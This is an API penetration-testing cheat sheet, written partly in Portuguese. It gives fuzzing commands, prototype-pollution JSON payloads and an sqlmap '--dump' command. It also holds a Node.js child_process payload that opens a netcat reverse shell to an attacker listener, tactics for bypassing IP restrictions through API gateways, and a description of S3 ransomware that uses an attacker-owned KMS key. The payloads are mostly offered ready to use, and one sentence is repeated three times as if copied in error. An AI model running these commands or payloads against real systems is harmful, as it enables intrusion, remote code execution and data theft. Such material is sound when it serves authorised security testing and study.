API Pentesting
02/11/2023
Change Methods # Methods GET, POST, PUT, DELETE, OPTIONS, HEAD, PATCH, INVENTED Endpoint Discovery Tente enumerar endpoints enquanto altera metodos HTTP como GET, POST, OPTIONS, etc. /api/?xml /api?xml /api/v1?xml /api/v1/user?xml # Web Service Description Language /api/?wsdl # Versions /api/v1/user /api/v2/user /api/v3/user # Wildcards /api/v2/user/* /api/v2/user/posts/* /api/v2/users/* # Path traversal /api/v1/post/..\private Automation # Dirb dirb https://vulnerable.com/ endpoints.txt # Ffuf ffuf -u https://vulnerable.com/FUZZ -w endpoints.txt ffuf -u https://vulnerable.com/FUZZ -X POST -w endpoints.txt ffuf -u https://vulnerable.com/api/FUZZ -w wordlist.txt ffuf -u https://example.com/api/?FUZZ=test -w wordlist.txt # Gobuster gobuster dir -u https://vulnerable.com/ -w endpoints.txt https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d # Kiterunner # -A: wordlist type (ex. first 20000 words) # -x: max connection per host (default: 3) kr scan https://vulnerable.com/api -A=apiroutes-210228:20000 -x 10 kr scan https://vulnerable.com/api -A=apiroutes-210228:20000 -x 10 --fail-status-codes 401,404 kr scan https://vulnerable.com:8443/api -A=apiroutes-210228:20000 -x 10 GET Parameters /api/v1/user?id=test /api/v1/user?name=test /api/v1/user?uuid=test /api/v1/status?live=test /api/v1/status?verbose=test Parameter Fuzzing # Key ffuf -u https://vulnerable.com/api/items?FUZZ=test -w wordlist.txt ffuf -u https://vulnerable.com/api/items?FUZZ=test -w wordlist.txt -fs 120 ffuf -X POST -u https://vulnerable.com/api/items?FUZZ=test -w wordlist.txt ffuf -X POST -u https://vulnerable.com/api/items?FUZZ=test -w wordlist.txt -fs 120 # Value ffuf -u https://vulenrable.com/api/items?test=FUZZ -w wordlist.xt ffuf -u https://vulnerable.com/api/items?test=FUZZ -w wordlist.txt -fs 120 ffuf -X POST -u https://vulnerable.com/api/items?test=FUZZ -w wordlist.txt ffuf -X POST -u https://vulnerable.com/api/items?test=FUZZ -w wordlist.txt -fs 120 Sending Unexpected Data Podemos encontrar qualquer coisa enviando dados inesperados no metodo POST ou PUT. {"email": "test@test.com"} {"email": true} {"email": 1} {"email": -1} {"email": ["test@test.com", true]} {"email": {"admin": true}} // Prototype Pollution {"email": "test@test.com", "__proto__": {"admin": true}} {"email": {"__proto__": {"admin": true}}} XSS Se pudermos enviar solicitações post (ou colocar) para endpoints da API, poderemos inserir cargas úteis e o resultado será refletido como a saída. XSS pode ser usado para esta exploração. SQL Injection sqlmap -u http://vulnerable.com/api/v2/fetch/?post=1 --dump --batch Node.js Remote Code Execution (RCE) Se o site usar o Node (por exemplo, Express), poderemos executar a função JavaScript.Se o site usar o Node (por exemplo, Express), poderemos executar a função JavaScript.Se o site usar o Node (por exemplo, Express), poderemos executar a função JavaScript. # Get current working directory in the website /api/?key=process.cwd() Reverse Shell Podemos executar o shell reverso usando "child_process". Primeiro, inicie o ouvinte para obter um shell na máquina local. nc -lvnp 4444 Em seguida, envie a solicitação para o site com o parâmetro que executa o shell reverso usando child_process. /api/?key=require('child_process').exec('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <local-ip> 4444 >/tmp/f') Same Session Across Multiple Versions and Instances For example, assumed the website has two endpoints such as "/api/v1/user/login", "/api/v2/user/login". "v1" uses "X-Token" and "v2" uses "X-Session". After login to "v1", you may be able to get access "v2" using the session key/value of "v1". X-Token: fc38ab5f5ae41072778d852023f9ee26 X-Session: fc38ab5f5ae41072778d852023f9ee26 XEE GET /api/product/1?xml HTTP/1.1 Se o site exibir a resposta em XML, poderemos fazer XXE.
𝗔𝗣𝗜 𝗚𝗮𝘁𝗲𝘄𝗮𝘆 - 𝘀𝗲𝗰𝘂𝗿𝗶𝘁𝘆 Discutiremos algumas das implicações interessantes de segurança no API Gateway. https://divyanshu-mehta.gitbook.io/researchs/aws-cloud-security/hacking-api-gateway
Desvio de restrição IP Vários gateways de API podem ser usados para ignorar a restrição de IP. Isso pode ser feito roteando solicitações via API Gateway aleatoriamente, que podem ignorar facilmente o bloqueio de IP e outras restrições baseadas em IP. Nesse caso, o usuário procuraria sua solicitação por meio do API Gateway escolhido aleatoriamente, que ajuda a mascarar seu IP e, posteriormente, envia a solicitação ao servidor com o IP mascarado.
Atacando gateways públicos não autenticados
A autenticação no gateway de API pública não ocorre por padrão. Portanto, é completamente possível acionar o destino do API Gateway da Internet se o Gateway não estiver protegido. Cenário: a enumeração inicial descobriu uma função lambda que executa um conjunto especial de instruções com base na entrada do usuário e é acionada pelo API Gateway. Também descobrimos que o API Gateway não é autenticado e é público na Internet. Exemplo: Abaixo está o código da função lambda: - def lambda_handler(event,context): ...... argument = event['rawQueryString'] if argument == "this_is_normal": printf("This is lambda") elif argument == "this_is_changed": printf("Flag: {secuirtylabs_api_gateways}") Nossa enumeração inicial também descobriu o ponto final da API anexado ao lambda. Verificou-se que o ponto final da API era https://test123.execute-api.ap-south-1.amazonaws.com/ Portanto, no caso acima, podemos manipular o campo de argumento e enviar uma solicitação de curvatura para o endpoint de destino. Solicitação: curl -X GET https://test123.execute-api.ap-south-1.amazonaws.com/?argument=this_is_changed
Chamadas API Gateway
Aqui estão algumas chamadas populares da API Gateway e o que elas fazem: • get-integrations: Chamada da API para imprimir todas as integrações associadas ao api-id • get-routes: Chamada da API para imprimir todas as rotas associadas ao api-id • get-stages: Chamada da API para imprimir todas as etapas associadas ao api-id
S3 Secutity
A seguir, alguns cenários de segurança interessantes:
Cenário I - Meu S3 está aberto
Muitas vezes, o balde S3 é aberto ao mundo e permite acesso não autorizado de leitura e gravação. Esse foi o principal motivo da violação do CapitalOne. Para listar objetos em um balde S3 chamado "bucket de teste", basta visitar https://test-bucket.s3.amazonaws.com ou execute a seguinte chamada de API.
aws s3 ls s3://test-bucket
Senario II - S3 Ransomware
Compartilhamos uma pesquisa feita pela equipe RhinoSecurity, que é equivalente da nuvem para o Ransomware no S3. O balde S3 com acesso de gravação pode ser criptografado com uma chave KMS que pertence à conta do invasor. Nesse caso, o proprietário do balde não poderá descriptografar o conteúdo, pois a chave criptografada não pertence à sua conta. Depois que o balde for criptografado, o invasor poderá deixar ransom.txt como uma nota de resgate e resgatar o balde. Mais detalhes sobre esta pesquisa interessante podem ser encontrados aqui
Cenário III - Política de buckets aberta
Muitas vezes, os usuários garantem que não tornem público o balde, mas uma política de balde mal configurada torna um balde público indiretamente.
Por exemplo, considere a política abaixo:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Statement2",
"Effect": "Allow",
"Principal": "*",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::securitylabs-articles/*"
}
]
}
Esta política é uma política S3 vulnerável que indica que qualquer pessoa na Internet pode baixar objetos do meu balde securitylabs-articles .
Aqui a parte vulnerável é o campo Principal que é *
o que indica que qualquer pessoa na internet pode baixar objetos. Supondo que exista um objeto chamado note.txt para baixar o objeto, basta fazer a solicitação de curvatura abaixo
Last updated